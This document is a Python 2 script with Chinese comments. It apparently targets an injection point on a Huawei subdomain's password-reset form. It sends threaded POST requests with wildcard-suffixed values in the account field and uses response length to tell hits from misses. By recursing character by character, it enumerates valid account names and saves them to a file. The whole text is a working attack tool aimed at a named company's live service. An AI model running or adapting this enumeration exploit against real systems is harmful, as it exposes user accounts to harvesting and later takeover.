#coding=utf8
import json
import threading,time
import gzip
import msgpack
import urllib
import urllib2
import tarfile

result = “”;
f = open(“data.txt”,”w”)
#MyThread.py线程类
class MyThread(threading.Thread):
def init(self, func, args=()):
super(MyThread, self).init()
self.func = func
self.args = args

def run(self):
time.sleep(2)
self.result = self.func(*self.args)

def get_result(self):
threading.Thread.join(self) # 等待线程执行完毕
try:
return self.result
except Exception:
return None

def request(surestr):#只发包
try:
url = “http://华为分站注入点/”
values = {“reason”:””,”coopAccount”:surestr, “activateType”:”p@sswordReset”}
#print “Test:”+surestr
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
res_data = urllib2.urlopen(req)
res = res_data.read()
if res_data.getcode() == 200:
return surestr+”|”+str(len(res))
except urllib2.HTTPError, err:
print(err.code)
print(err.read())
raise

def enum(surestr):#遍历发包,调整字符串
global result
enumchars = “qwertyuioplkjhgfdsazxcvbnm-_123456789.@()”
tp = []
if surestr == “*”:
surestr = “”
for chars in enumchars:
mt = MyThread(request, ((surestr+chars+”*”),))
#print “StartThread:request(“+surestr+chars+”*”+”)”
tp.append(mt)
mt.start()

flag = 0
for t in tp:
t.join()
retcode = t.get_result()
rc = retcode.split(‘|’)
if rc[1] != “53”:
print (“\rGot:”+rc[0]),
enum(rc[0].strip(‘*’))
flag = 1
else:
continue
if flag == 0:
print “\rComplete:”+surestr
result=result+surestr+”\n”

print enum(“*”)
f.write(result)
f.close()